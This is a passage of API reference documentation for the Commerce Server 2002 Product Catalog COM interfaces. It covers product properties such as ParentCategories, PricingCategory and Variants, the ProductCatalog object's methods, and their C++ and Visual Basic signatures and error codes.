[C++] The returned single-row recordset contains all the fields defined for the product definition, as well as all the common fields in the CatalogProduct Recordset. The recordset also contains the ProductID property of the catalog if the ProductID property is not a part of the product definition.

[Visual Basic] The returned single-row recordset contains all the fields defined for the product definition, as well as all the common fields in the CatalogProduct Recordset.

The recordset returned is updateable, but disconnected. To modify the product properties, pass this recordset to the SetProductProperties method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::SetProductProperties

[Visual Basic] Product.SetProductProperties


IProduct3::get_ParentCategories Property [C++]

Product.ParentCategories Property [Visual Basic]

The ParentCategories property is a read-only recordset that contains the names of categories that directly contain this product.

Definition

[C++]
HRESULT IProduct3::get_ParentCategories(
  _Recordset** ParentCategories
);
[Visual Basic]
Property ParentCategories As Recordset

Parameters

ParentCategories [C++]
[out, retval] A _Recordset object used to return the parent categories.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

[C++] The ParentCategories parameter contains valid data only if the property was accessed successfully.

If the product is not contained in any categories, the returned recordset will be empty, and its EOF property will be set to VARIANT_TRUE.

The returned recordset contains the fields listed in the following table.

Field | Data Type | Description
CategoryName String
Maximum of 128 characters 		Name of the category containing this product.
DisplayName String
Maximum of 128 characters 		Display name of the category.
FvirtualCatalog | bit | For a virtual catalog this field specifies if this link was inherited(value 0) or explicitly added (value 1). For a base catalog this field will always be 0.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::get_AncestorCategories

[Visual Basic] Product.AncestorCategories


IProduct3::get_PricingCategory, put_PricingCategory Property [C++]

Product.PricingCategory Property [Visual Basic]

The PricingCategory property is a read/write String that contains the name of the pricing category for this product.

Definition

[C++]

Get method:

HRESULT IProduct3::get_PricingCategory(
  BSTR* PricingCategory
);SET

Put method:

HRESULT IProduct3::put_PricingCategory(
  BSTR PricingCategory
);
[Visual Basic]
Property PricingCategory As String

Parameters

PricingCategory [C++]
[in] When putting the property, a BSTR that contains the pricing category.
[out, retval] When getting the property, a pointer to a BSTR used to return the pricing category.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this property can return.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_PRICING_CAT_PRICELESS | [C++] 0x8898002F [Visual Basic] &H8898002F | The category you specified has no list price. The list price of the category has to be set before using this for pricing.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The PricingCategory parameter contains valid data only if the property was accessed successfully.

Using a category as a Pricing category allows you to set the prices of multiple products by making a single change, rather than having to change the price for each product. Setting the Pricing category for a product family will also set the Pricing category for all the variants of the product family.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Product Object

[Visual Basic] Product Object


IProduct3::get_PrimaryParent, put_PrimaryParent Property [C++]

Product.PrimaryParent Property [Visual Basic]

The PrimaryParent property is a read/write String that contains the primary parent category.

Definition

[C++]

Get method:

HRESULT IProduct3::get_PrimaryParent(
  BSTR* PrimaryParent
);

Put method:

HRESULT IProduct3::put_PrimaryParent(
  BSTR PrimaryParent
);
[Visual Basic]
Property PrimaryParent As String

Parameters

PrimaryParent [C++]
[in] When putting the property, a BSTR that contains the primary parent.
[out, retval] When getting the property, a BSTR used to return the primary parent.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &Hx8898001E | The product you specified doesn't exist.
E_CAT_PRIMARYPARENT_DOES_NOT_EXIST | [C++] 0x889800AC [Visual Basic] &H889800AC | The primary parent category that you specified does not exist
E_CAT_INVALID_RELATION | [C++] 0x88980039 [Visual Basic] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_PRICING_CAT_PRICELESS | [C++] 0x8898002F [Visual Basic] &H8898002F | The category you specified has no list Price. The list price of the category has to be set before using this for pricing.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

Products and categories can have multiple parent-child relationships. Specifying a primary parent for a product or category simplifies the hierarchy and clarifies the application of pricing rules.

Note

  • This property cannot be modified in a virtual catalog. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships, use a Category object obtained from the base Catalog object. If the category being added as a primary parent is not a parent category, then it will also be added as a parent category for the product.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Product Object

[Visual Basic] Product Object


IProduct3::get_ProductID Property [C++]

Product.ProductID Property [Visual Basic]

The ProductID property is a read-only String that contains the unique ID for this product.

Definition

[C++]
HRESULT IProduct3::get_ProductID(
  BSTR* ProductID
);
[Visual Basic]
Property ProductID As String

Parameters

ProductID [C++]
[out, retval] The address of a BSTR used to return the product ID.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ProductID parameter contains valid data only if the property was accessed successfully.

The value of this property is a copy of the value of the IdentifyingProductProperty property of the catalog containing this product.

The value of this property will always be "ProductID" for a virtual catalog.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Product Object

[Visual Basic] Product Object


IProduct3::get_RelatedCategories Property [C++]

Product.RelatedCategories Property [Visual Basic]

The RelatedCategories property is a read-only Recordset object that contains the names of categories that are related to this product.

Definition

[C++]
HRESULT IProduct3::get_RelatedCategories(
  _Recordset** RelatedCategories
);
[Visual Basic]
Property RelatedCategories As Recordset

Parameters

RelatedCategories [C++]
[out, retval] A _Recordset object used to return the related categories.

[Visual Basic] None.

[C++]

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

[C++] The RelatedCategories parameter contains valid data only if the property was accessed successfully.

[Visual Basic] The RelatedCategories property contains valid data only if it was accessed successfully.

The returned recordset contains one column for each relationship present.

The returned recordset contains the fields listed in the following table.

Field Data Type Description
CategoryName String
Maximum of 128 characters 		Name of the category.
RelationshipName String
Maximum of 128 characters 		Name of the relationship.
RelationshipDescription String
Maximum of 256 characters 		Description of the relationship in the current language of the catalog.
TargetCatalog String
Maximum of 100 characters 		Name of the catalog containing the related category.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::get_RelatedProducts

[Visual Basic] Product.RelatedProducts

[C++] IProduct3::AddRelationshipToCategory

[Visual Basic] Product.AddRelationshipToCategory

[C++] IProduct3::SetRelatedCategories

[Visual Basic] Product.SetRelatedCategories


IProduct3::get_RelatedProducts Property [C++]

Product.RelatedProducts Property [Visual Basic]

The RelatedProducts property is a read-only Recordset object that contains the names of products that are related to this product.

Definition

[C++]
HRESULT IProduct3::get_RelatedProducts(
  _Recordset** RelatedProducts
);
[Visual Basic]
Property RelatedProducts As Recordset

Parameters

RelatedProducts [C++]
[out, retval] A _Recordset object used to return the related products.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

[C++] The RelatedProducts parameter contains valid data only if the property was accessed successfully.

[Visual Basic] The RelatedProducts property contains valid data only if it was accessed successfully.

The recordset returned contains one row for each relationship present.

The returned recordset contains the fields listed in the following table.

Field Data Type Description
ProductID String
Maximum of 128 characters 		The unique product identifier in the target catalog.
RelationshipName String
Maximum of 128 characters 		Name of the relationship.
RelationshipDescription String
Maximum of 128 characters 		Description of the relationship in the current language of the catalog.
TargetCatalog String
Maximum of 100 characters 		Name of the catalog containing the related product.

Important

  • The ProductID field in the returned recordset is not same as the <defined ProductID field> used in this recordset in Commerce Server 2000. If you are upgrading a Commerce Server 2000 application you may need to modify your code to accept a String data type.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::AddRelatationshipToProduct

[Visual Basic] Product.AddRelatationshipToProduct

[C++] IProduct3::SetRelatedProducts

[Visual Basic] Product.SetRelatedProducts


IProduct3::get_UseCategoryPricing, put_UseCategoryPricing Property [C++]

Product.UseCategoryPricing Property [Visual Basic]

The UseCategoryPricing property is a read/write Boolean that determines whether the price of the product will be determined from the PrimaryParent property of the product.

Definition

[C++]

Get method:

HRESULT IProduct3::get_UseCategoryPricing(
 VARIANT_BOOL* UseCategoryPricing
);

Put method:

HRESULT IProduct3::put_UseCategoryPricing(
 VARIANT_BOOL UseCategoryPricing
);
[Visual Basic]
Property UseCategoryPricing As Boolean

Parameters

UseCategoryPricing [C++]
[in] When putting the property, a VARIANT_BOOL that specifies whether to use category pricing.
[out, retval] When getting the property, a pointer to a VARIANT_BOOL used to return the value of the UseCategoryPricing property. See the Remarks section for the effects of this property.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_INVALID_PRIMARY_PARENT | [C++] 0x889800DA [Visual Basic] &H889800DA | To use category pricing for this product, you should first set a primary parent category.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_PRICING_CAT_PRICELESS | [C++] 0x8898002F [Visual Basic] &H8898002F | The category you specified has no list price. The list price of the category has to be set before using this for pricing.

Remarks

A value of True indicates that the price of the product will be determined from the PrimaryParent category of the product. A value of False indicates that the price of the product will not be determined from the PrimaryParent category.

Note

  • If this product is inherited by a virtual catalog, the PrimaryParent property cannot be set from the virtual catalog.

[C++] If the property is set to True the PricingCategory property will be set to and become synonymous with the PrimaryParent property.

[Visual Basic] If the property is set to True the PricingCategory property will be set to and become synonymous with the PrimaryParent property.

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::get_PricingCategory

[Visual Basic] Product.PricingCategory

[C++] IProduct3::get_PrimaryParent

[Visual Basic] Product.PrimaryParent


IProduct3::get_Variants Property [C++]

Product.Variants Property [Visual Basic]

The Variants property is a read-only recordset that describes all of the variants of this product.

Definition

[C++]
HRESULT IProduct3::get_Variants(
  VARIANT strPropertyToSortOn,
  _Recordset** Variants
);
[Visual Basic]
Property Variants(
  Optional strPropertyToSortOn As Variant
) As Recordset

Parameters

strPropertyToSortOn [C++]
[in, optional] A VARIANT that contains the property on which the returned Recordset object is to be sorted. This must be a property in the returned recordset. If not included, the returned recordset will be unsorted.
strPropertyToSortOn [Visual Basic]
A Variant that contains the property on which the returned Recordset object is to be sorted. This must be a property in the returned recordset. If not included, the returned recordset will be unsorted.
Variants [C++]
[out, retval] A pointer to a _Recordset object used to return the variants.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.
E_CAT_INVALID_SORT_PROPS | [C++] 0x8898011E [Visual Basic] &H8898011E | The properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.

Remarks

[C++] The Variants parameter contains valid data only if the property was accessed successfully.

The returned recordset will contain one row for each variant of this product. If this product has no variants, the returned recordset will be empty, and its EOF property will be set to VARIANT_TRUE.

The fields of the returned recordset are determined by the properties associated with the definition on which it is based. Both the product properties and the variant properties are returned.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

SET rsVariants = myProduct.Variants("Size")

See Also

[C++] Product Object

[Visual Basic] Product Object


ProductCatalog Object [C++]

ProductCatalog Object [Visual Basic]

Use this object to alter catalogs and to modify catalog contents. The ProductCatalog object is the primary object for working with catalogs in the Product Catalog System.

ProgID: | Dependent (See Remarks for more information)
COM Class Name: | ProductCatalog
Type Library Name: | Microsoft Commerce 2002 Catalog Type Library
DLL Name: | Catalog.dll
Threading Model: | Both
[C++]
COM Interface Name: | IProductCatalog3
Interface ID Constant: | IID_IProductCatalog3
Header File: | Catalog.h, mspu_guids.h
[C++]

In C++, use the IProductCatalog3 interface to access the properties and methods of the ProductCatalog object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
AddLanguage | Adds support for an additional language.
AddPriceRule | Adds a price rule for a specific product or category to a virtual catalog.
AddSpecificationSearchClause | Adds a search constraint to the search context when performing a specification search of this catalog.
AddVirtualCatalogRule | Adds an inclusion or exclusion rule for a specific product, category, variant, or catalog to the current catalog.
BeginSpecificationSearch | Initiates a specification search of this catalog.
CreateCategory | Creates a new category based on the specified category definition.
CreateCustomCatalog | This method is obsolete.
CreateProduct | Creates a new product or product family based on the specified product definition.
DeleteCategory | Deletes the specified category from this catalog.
DeleteCustomCatalog | This method is obsolete.
DeleteProduct | Deletes the specified product from this catalog.
GenerateCustomCatalog | This method is obsolete.
GetCatalogAttributes | Returns the attributes of this catalog. The returned recordset is disconnected and updateable.
GetCategory | Returns the specified category.
GetCategoryCustomPrice | This method is obsolete.
GetCustomCatalogAttributes | This method is obsolete.
GetDependentCatalogs | Returns a recordset with a single field containing all of the virtual catalogs that are dependant on this catalog.
GetLanguages | Returns a recordset with a single field containing all of the supported languages.
GetPriceRules | Returns a recordset containing the specified price rules.
GetProduct | Returns the specified product.
GetProductVariant | Returns a recordset with a single row containing all of the properties for the specified product variant.
GetSpecificationSearchClauses | Returns a recordset with a single field containing all of the search clauses for a specification search.
GetVirtualCatalogRules | Returns a recordset containing the specified virtual catalog rules.
GuaranteedSpecificationSearch | Performs a specification search in which search constraints are removed until a match is found.
PerformSpecificationSearch | Performs a specification search of this catalog using the specified search context.
Purge | Removes deleted products from the catalog table.
RebuildVirtualCatalog | Use this method to rebuild virtual catalogs.
RegenerateFreeTextSearchIndex | Updates the free text search index for this catalog.
RemoveLanguage | Removes the specified language from this catalog.
RemovePriceRule | Removes the specified price rule.
RemoveSpecificationSearchClause | Removes the last search constraint from the specified search context.
RemoveVirtualCatalogRule | Removes the specified virtual catalog rule.
SetCatalogAttributes | Sets attributes for this catalog.
SetCategoryCustomPrice | This method is obsolete.
SetCustomCatalogAttributes | This method is obsolete.
[Visual Basic]
Method | Description
AddLanguage | Adds support for an additional language.
AddPriceRule | Adds a price rule for a specific product or category to a virtual catalog.
AddSpecificationSearchClause | Adds a search constraint to the search context when performing a specification search of this catalog.
AddVirtualCatalogRule | Adds an inclusion or exclusion rule for a specific product, category, variant, or catalog to the current catalog.
BeginSpecificationSearch | Initiates a specification search of this catalog.
CreateCategory | Creates a new category based on the specified category definition.
CreateCustomCatalog | This method is obsolete.
CreateProduct | Creates a new product based on the specified product definition.
DeleteCategory | Deletes the specified category from this catalog.
DeleteCustomCatalog | This method is obsolete.
DeleteProduct | Deletes the specified product from this catalog.
GenerateCustomCatalog | This method is obsolete.
GetCatalogAttributes | Returns the attributes of this catalog. The returned recordset is disconnected and updateable.
GetCategory | Returns the specified category.
GetCategoryCustomPrice | This method is obsolete.
GetCustomCatalogAttributes | This method is obsolete.
GetDependentCatalogs | Returns a recordset with a single field containing all of the virtual catalogs that are dependant on this catalog.
GetLanguages | Returns a recordset with a single field containing all of the supported languages.
GetPriceRules | Returns a recordset containing the specified price rules.
GetProduct | Returns the specified product.
GetProductVariant | Returns a recordset with a single row containing all of the properties for the specified product variant.
GetSpecificationSearchClauses | Returns a recordset with a single field containing all of the search clauses for a specification search.
GetVirtualCatalogRules | Returns a recordset containing the specified virtual catalog rules.
GuaranteedSpecificationSearch | Performs a specification search in which search constraints are removed until a match is found.
PerformSpecificationSearch | Performs a specification search of this catalog using the specified search context.
Purge | Removes deleted products from the catalog table.
RebuildVirtualCatalog | Use this method to rebuild virtual catalogs.
RegenerateFreeTextSearchIndex | Updates the free text search index for this catalog.
RemoveLanguage | Removes the specified language from this catalog.
RemovePriceRule | Removes the specified price rule.
RemoveSpecificationSearchClause | Removes the last search constraint from the specified search context.
RemoveVirtualCatalogRule | Removes the specified virtual catalog rule.
SetCatalogAttributes | Sets attributes for this catalog.
SetCategoryCustomPrice | This method is obsolete.
SetCustomCatalogAttributes | This method is obsolete.

Properties

[C++]
Property | Type | Description
CatalogName | BSTR | Contains the name of this catalog. This property is read-only.
IdentifyingProductProperty | BSTR | Contains the name of the column used to uniquely identify products and product families. This property is read-only.
IdentifyingVariantProperty | BSTR | Contains the name of the column used to uniquely identify product variants. This property is read-only.
Language | BSTR | Contains the active language. This property is read/write.
RootCategories | _Recordset | Returns a recordset containing the names of categories that are the root categories for this catalog. This property is read-only.
RootProducts | _Recordset | Returns a recordset containing the products that are part of this catalog, but are not contained in any category. This property is read-only.
SearchableCategories | _Recordset | Returns a recordset with a single field that contains the names of the categories that are defined as searchable. This property is read-only.
[Visual Basic]
Property | Type | Description
CatalogName | String | Contains the name of this catalog. This property is read-only.
IdentifyingProductProperty | String | Contains the name of the column used to uniquely identify products and product families. This property is read-only.
IdentifyingVariantProperty | String | Contains the name of the column used to uniquely identify product variants. This property is read-only.
Language | String | Contains the active language. This property is read/write.
RootCategories | Recordset | Returns a recordset containing the names of categories that are the root categories for this catalog. This property is read-only.
RootProducts | Recordset | Returns a recordset containing the products that are part of this catalog, but are not contained in any category. This property is read-only.
SearchableCategories | Recordset | Returns a recordset with a single field that contains the names of the categories that are defined as searchable. This property is read-only.

Remarks

[C++]

Many of the methods in ProductCatalog use recordsets to return data. These methods will often use the CatalogProduct recordset. For more information, see CatalogProduct recordset.

The ProductCatalog object is a dependent object. Obtain a pointer to the IProductCatalog interface by calling one of the following methods:

  • ICatalogManager::GetCatalog
  • ICatalogManager::CreateCatalog
[Visual Basic]

Many of the methods in ProductCatalog use recordsets to return data. These methods will often use the CatalogProduct recordset. For more information, see CatalogProduct recordset.

The ProductCatalog object is a dependent object. Obtain a reference to it by calling one of the following methods:

  • CatalogManager.GetCatalog
  • CatalogManager.CreateCatalog


IProductCatalog3 Methods [C++]

ProductCatalog Methods [Visual Basic]

Methods

[C++]
Method | Description
AddLanguage | Adds support for an additional language.
AddPriceRule | Adds a price rule for a specific product or category to a virtual catalog.
AddSpecificationSearchClause | Adds a search constraint to the search context when performing a specification search of this catalog.
AddVirtualCatalogRule | Adds an inclusion or exclusion rule for a specific product, category, variant, or catalog to the current catalog.
BeginSpecificationSearch | Initiates a specification search of this catalog.
CreateCategory | Creates a new category based on the specified category definition.
CreateCustomCatalog | This method is obsolete.
CreateProduct | Creates a new product or product family based on the specified product definition.
DeleteCategory | Deletes the specified category from this catalog.
DeleteCustomCatalog | This method is obsolete.
DeleteProduct | Deletes the specified product from this catalog.
GenerateCustomCatalog | This method is obsolete.
GetCatalogAttributes | Returns the attributes of this catalog. The returned recordset is disconnected and updateable.
GetCategory | Returns the specified category.
GetCategoryCustomPrice | This method is obsolete.
GetCustomCatalogAttributes | This method is obsolete.
GetDependentCatalogs | Returns a recordset with a single field containing all of the virtual catalogs that are dependant on this catalog.
GetLanguages | Returns a recordset with a single field containing all of the supported languages.
GetPriceRules | Returns a recordset containing the specified price rules.
GetProduct | Returns the specified product.
GetProductVariant | Returns a recordset with a single row containing all of the properties for the specified product variant.
GetSpecificationSearchClauses | Returns a recordset with a single field containing all of the search clauses for a specification search.
GetVirtualCatalogRules | Returns a recordset containing the specified virtual catalog rules.
GuaranteedSpecificationSearch | Performs a specification search in which search constraints are removed until a match is found.
PerformSpecificationSearch | Performs a specification search of this catalog using the specified search context.
Purge | Removes deleted products from the catalog table.
RebuildVirtualCatalog | Use this method to rebuild virtual catalogs.
RegenerateFreeTextSearchIndex | Updates the free text search index for this catalog.
RemoveLanguage | Removes the specified language from this catalog.
RemovePriceRule | Removes the specified price rule.
RemoveSpecificationSearchClause | Removes the last search constraint from the specified search context.
RemoveVirtualCatalogRule | Removes the specified virtual catalog rule.
SetCatalogAttributes | Sets attributes for this catalog.
SetCategoryCustomPrice | This method is obsolete.
SetCustomCatalogAttributes | This method is obsolete.
[Visual Basic]
Method | Description
AddLanguage | Adds support for an additional language.
AddPriceRule | Adds a price rule for a specific product or category to a virtual catalog.
AddSpecificationSearchClause | Adds a search constraint to the search context when performing a specification search of this catalog.
AddVirtualCatalogRule | Adds an inclusion or exclusion rule for a specific product, category, variant, or catalog to the current catalog.
BeginSpecificationSearch | Initiates a specification search of this catalog.
CreateCategory | Creates a new category based on the specified category definition.
CreateCustomCatalog | This method is obsolete.
CreateProduct | Creates a new product based on the specified product definition.
DeleteCategory | Deletes the specified category from this catalog.
DeleteCustomCatalog | This method is obsolete.
DeleteProduct | Deletes the specified product from this catalog.
GenerateCustomCatalog | This method is obsolete.
GetCatalogAttributes | Returns the attributes of this catalog. The returned recordset is disconnected and updateable.
GetCategory | Returns the specified category.
GetCategoryCustomPrice | This method is obsolete.
GetCustomCatalogAttributes | This method is obsolete.
GetDependentCatalogs | Returns a recordset with a single field containing all of the virtual catalogs that are dependant on this catalog.
GetLanguages | Returns a recordset with a single field containing all of the supported languages.
GetPriceRules | Returns a recordset containing the specified price rules.
GetProduct | Returns the specified product.
GetProductVariant | Returns a recordset with a single row containing all of the properties for the specified product variant.
GetSpecificationSearchClauses | Returns a recordset with a single field containing all of the search clauses for a specification search.
GetVirtualCatalogRules | Returns a recordset containing the specified virtual catalog rules.
GuaranteedSpecificationSearch | Performs a specification search in which search constraints are removed until a match is found.
PerformSpecificationSearch | Performs a specification search of this catalog using the specified search context.
Purge | Removes deleted products from the catalog table.
RebuildVirtualCatalog | Use this method to rebuild virtual catalogs.
RegenerateFreeTextSearchIndex | Updates the free text search index for this catalog.
RemoveLanguage | Removes the specified language from this catalog.
RemovePriceRule | Removes the specified price rule.
RemoveSpecificationSearchClause | Removes the last search constraint from the specified search context.
RemoveVirtualCatalogRule | Removes the specified virtual catalog rule.
SetCatalogAttributes | Sets attributes for this catalog.
SetCategoryCustomPrice | This method is obsolete.
SetCustomCatalogAttributes | This method is obsolete.


IProductCatalog3::AddLanguage Method [C++]

ProductCatalog.AddLanguage Method [Visual Basic]

Use this method to add support for an additional language.

Definition

[C++]
HRESULT IProductCatalog3::AddLanguage(
  BSTR strLanguage
);
[Visual Basic]
Sub AddLanguage(
  strLanguage As String
)

Parameters

strLanguage [C++]
[in, optional, defaultvalue ("")] A BSTR that contains the culture name to be added. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
strLanguage [Visual Basic]
A String that that contains the culture name to be added. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_LANGUAGE | [C++] 0x8898009E [Visual Basic] &H8898009E | The value you specified for the Language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_LANGUAGE_ALREADY_EXISTS | [C++] 0x889800A0 [Visual Basic] &H889800A0 | The language you specified already exists in the catalog.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

